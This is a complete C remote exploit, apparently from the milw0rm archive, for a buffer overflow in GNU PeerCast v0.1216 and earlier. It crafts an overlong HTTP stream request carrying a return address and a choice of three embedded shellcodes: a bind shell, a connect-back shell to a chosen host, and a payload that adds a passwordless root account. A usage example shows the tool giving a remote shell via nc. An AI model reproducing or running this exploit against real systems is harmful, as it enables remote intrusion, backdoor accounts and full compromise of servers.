PeerCast <= 0.1216 (nextCGIarg) Remote Buffer Overflow Exploit



/* GNU PeerCast <= v0.1216 Remote Exploit

 * ======================================
 * PeerCast is a simple, free way to listen to radio and watch video on the internet. A 
 * remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which 
 * can be potentially exploited to execute arbitrary code due to insufficient bounds
 * checking on a memory copy operation occuring on the stack. All versions upto and
 * prior to v0.1216 are believed to be vulnerable. Return address does a "jmp esp" which
 * references the start of our shellcode and as such will work on multiple distributions
 * and VA randomized hosts.
 * 
 * Example.
 * matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337
 * [ GNU PeerCast <= v0.1216 remote exploit
 * [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes)
 * [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)'
 * [ Connected to 123.123.123.123 (7144/tcp)
 * [ Sent 883 bytes to target
 * matthew@localhost ~/code/exploits $ nc 123.123.123.123 31337
 * id
 * uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
 * 
 *  -prdelka
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>

struct target {
    char* name; 
    int retaddr;    
};

struct shellcode {
    char* name;    
    int port;
    int host;
    char* shellcode;    
};

const int targetno = 2;

struct target targets[] = { 
    {"(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux 3.3.5-r1)",0x080918AF},
    {"(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)",0x080918AF}
};

const int shellno = 3;

struct shellcode shellcodes[] = {
    {"Linux bind() shellcode (4444/tcp default)",20,-1,
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
    "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
    "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
    "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
    "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xcd\x80"},
    {"Linux connect() shellcode (4444/tcp default)",32,26,
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x01\x02\x03\x04\x66\x68"
    "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"},
    {"Linux add user 'syscfg' with {null} password and UID 0",-1,-1,
    "\x31\xC0\x50\x68\x73\x73\x77\x64\x68\x2F\x2F\x70\x61\x68\x2F\x65"
    "\x74\x63\x89\xE6\x31\xD2\x31\xC9\xB1\x01\x89\xF3\x31\xC0\xB0\x05"
    "\xCD\x80\x50\x89\xE6\x31\xC0\xB0\x13\x8B\x1E\x31\xC9\x31\xD2\xB2"
    "\x02\xCD\x80\x31\xC0\xB0\x04\x8B\x1E\x31\xC9\x51\x68\x61\x73\x68"
    "\x0A\x68\x69\x6E\x2F\x62\x68\x74\x3A\x2F\x62\x68\x2F\x72\x6F\x6F"
    "\x68\x63\x66\x67\x3A\x68\x66\x6F\x72\x20\x68\x73\x65\x72\x20\x68"
    "\x65\x6D\x20\x75\x68\x73\x79\x73\x74\x68\x30\x3A\x30\x3A\x68\x66"
    "\x67\x3A\x3A\x68\x73\x79\x73\x63\x89\xE1\x31\xD2\xB2\x30\xCD\x80"
    "\x31\xC0\xB0\x06\x8B\x1E\xCD\x80"}
};

void dummyhandler(){
}

int main (int argc, char *argv[]) {
    int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144, ihost = 0, itarg = 0;
    int count, offset, ioffset, index = 0;
    short shellport;
    char *host, *buffer, *buffer2, *payload;
    struct sockaddr_in localAddr, servAddr;
    struct hostent *h, *rv;
        static struct option options[] = {
            {"server", 1, 0, 's'},
            {"port", 1, 0, 'p'},
            {"target", 1, 0, 't'},
        {"shellcode", 1, 0, 'c'},
        {"shellport", 1, 0, 'x'},
        {"shellhost", 1, 0, 'i'},
        {"help", 0, 0,'h'}
        };
    printf("[ GNU PeerCast <= v0.1216 remote exploit\n");
    while(c != -1)
    {
            c = getopt_long(argc,argv,"s:p:t:c:x:i:h",options,&index);    
            switch(c) {
                       case -1:
                            break;
                    case 's':
                if(ihost==0){
                h = gethostbyname(optarg);                
                if(h==NULL){
                    printf("[ Error unknown host '%s'\n",optarg);
                    exit(1);
                }
                host = malloc(strlen(optarg) + 1);
                sprintf(host,"%s",optarg);
                ihost = 1;
                }
                           break;
                    case 'p':
                port = atoi(optarg);
                            break;
            case 'c':
                if(ishell==0)
                {
                payg = atoi(optarg);
                switch(payg){
                case 0:        
                    printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));        
                    payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                    memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
                    memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
                    ishell = 1;
                    break;
                case 1:
                                       printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                                   memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
                                   memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
                                   ishell = 1;
                                   break;
                                case 2:
                                       printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                                       memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
                                   memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
                                   ishell = 1;
                       break;
                default:
                    printf("[ Invalid shellcode selection %d\n",payg);
                    exit(0);
                    break;
                }
                }
                break;
            case 'x':
                if(ishell==1)
                {
                    if(shellcodes[payg].port > -1)
                    {
                        paya = strlen(payload);
                        shellport = atoi(optarg);
                        shellport =(shellport&0xff)<<8 | shellport>>8;
                        memcpy(&payload[shellcodes[payg].port],&shellport,sizeof(shellport));
                        if(paya > strlen(payload))
                        {
                            printf("[ Shellcode port introduces null bytes\n");
                            exit(1);
                        }
                    }
                    else{
                        printf("[ (%s) port selection is ignored for current shellcode\n",optarg);
                    }
                }
                else{
                    printf("[ No shellcode selected yet, ignoring (%s) port selection\n",optarg);
                    break;
                }
                break;
            case 'i':
                if(ishell==1)
                {
                    if(shellcodes[payg].host > -1)
                    {
                        paya = strlen(payload);
                        rv = gethostbyname(optarg);
                        if(h==NULL){
                            printf("[ Error unknown host '%s'\n",optarg);
                            exit(1);
                        }
                        memcpy(&payload[shellcodes[payg].host],rv->h_addr_list[0], rv->h_length);
                        if(paya > strlen(payload))
                        {
                            printf("[ Shellhost introduces null bytes\n");
                            exit(1);
                        }
                    }
                    else{
                        printf("[ (%s) shellhost selection is ignored for current shellcode\n",optarg);
                    }
                }
                else{
                    printf("[ No shellcode selected yet, ignoring (%s) shellhost selection\n",optarg);
                }
                break;
                    case 't':
                if(itarg==0){
                ret = atoi(optarg);            
                switch(ret){
                    case 0:                
                        printf("[ Using target '%s'\n",targets[ret].name);
                        eip = targets[ret].retaddr;
                        break;
                                        case 1:
                                                printf("[ Using target '%s'\n",targets[ret].name);
                                                eip = targets[ret].retaddr;
                                                break;
                    default:
                        eip = strtoul(optarg,NULL,16);
                        printf("[ Using return address '0x%x'\n",eip);
                        break;
                }
                itarg = 1;
                }
                            break;
            case 'h':            
                printf("[ Usage instructions.\n[\n");                
                printf("[ %s <required> (optional)\n[\n[   --server|-s <ip/hostname>\n",argv[0]);
                printf("[   --port|-p (port)[default 7144]\n[   --shellcode|-c <shell#>\n");
                printf("[   --shellport|-x (port)\n");
                printf("[   --shellhost|-i (ip/hostname)\n");
                printf("[   --target|-t <target#/0xretaddr>\n[\n");
                printf("[ Target#'s\n");
                for(count = 0;count <= targetno - 1;count++){
                    printf("[ %d %s 0x%x\n",count,targets[count],targets[count]);
                }
                printf("[\n[ Shellcode#'s\n");
                for(count = 0;count <= shellno - 1;count++){
                    printf("[ %d \"%s\" (length %d bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode));
                }
                exit(0);
                break;
            default:
                        break;
            }
    }
    if(itarg != 1 || ihost  != 1 || ishell != 1){
        printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]);
        exit(1);
    }
    signal(SIGPIPE,dummyhandler);
        servAddr.sin_family = h->h_addrtype;
    memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
    servAddr.sin_port = htons(port);
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd<0) {
        printf("[ Cannot open socket\n");    
        exit(1);
    }
    rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
    if(rc<0) {
        printf("[ Cannot connect\n");
        exit(1);
    }        
    printf("[ Connected to %s (%d/tcp)\n",host,port);    
    buffer = malloc(2048 + strlen(payload) + sizeof(eip));
    memset(buffer,0,2048 + strlen(payload) + sizeof(eip));
    strcpy(buffer,"GET /stream/?");
    for(count = 0;count <= 779;count++){
        strcat(buffer,"A");
    }
    buffer2 = (char*)((int)buffer + (int)strlen(buffer));
    memcpy((void*)buffer2,(void*)&eip,sizeof(eip));
    buffer2 = (char*)((int)buffer2 + sizeof(eip));
    memcpy((void*)buffer2,(void*)payload,strlen(payload));
    strcat(buffer2,"\r\n");
    rc = send(sd,buffer,strlen(buffer),0);
    printf("[ Sent %d bytes to target\n",rc);
}

// milw0rm.com [2006-03-11]